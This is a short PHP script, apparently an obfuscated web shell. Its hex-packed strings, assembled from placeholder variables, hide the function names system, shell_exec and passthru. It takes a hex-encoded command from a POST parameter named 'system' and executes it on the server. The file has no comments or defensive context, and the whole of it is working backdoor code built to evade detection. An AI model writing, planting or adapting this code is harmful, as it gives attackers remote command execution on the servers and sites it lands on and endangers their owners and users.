<?php

$placeholder1 = '3';
$placeholder2 = '7';
$placeholder3 = '5';
$placeholder4 = 'd';
$placeholder5 = '6';
$placeholder6 = 'f';
$placeholder7 = '8';
$placeholder8 = '0';
$placeholder9 = '1';
$placeholder10 = '4';
$placeholder11 = '2';
$placeholder12 = '9';
$locked1 = pack("H*", '7' . $placeholder1 . '7' . '9' . $placeholder2 . $placeholder1 . $placeholder2 . '4' . '6' . $placeholder3 . '6' . $placeholder4);
$locked2 = pack("H*", '7' . $placeholder1 . $placeholder5 . '8' . $placeholder5 . $placeholder3 . '6' . 'c' . $placeholder5 . 'c' . '5' . $placeholder6 . '6' . $placeholder3 . '7' . $placeholder7 . $placeholder5 . '5' . $placeholder5 . '3');
$locked3 = pack("H*", '7' . '3' . '6' . $placeholder7 . '6' . '5' . $placeholder5 . 'c' . '6' . 'c');
$locked4 = pack("H*", $placeholder2 . $placeholder8 . $placeholder5 . $placeholder9 . '7' . '3' . $placeholder2 . '3' . '7' . $placeholder10 . $placeholder5 . $placeholder7 . '7' . $placeholder11 . $placeholder2 . $placeholder3);
$system = pack("H*", $placeholder2 . '3' . $placeholder2 . $placeholder12 . '7' . '3' . '7' . '4' . $placeholder5 . $placeholder3 . '6' . $placeholder4);
if (isset($_POST[$system])) {
    $system = pack("H*", $_POST[$system]);
    if (function_exists($locked1)) {
        $locked1($system);
    } elseif (function_exists($locked2)) {
        $locked2($system);
    } elseif (function_exists($locked3)) {
        $locked3($system);
    } elseif (function_exists($locked4)) {
        $locked4($system);
    }
    exit;
}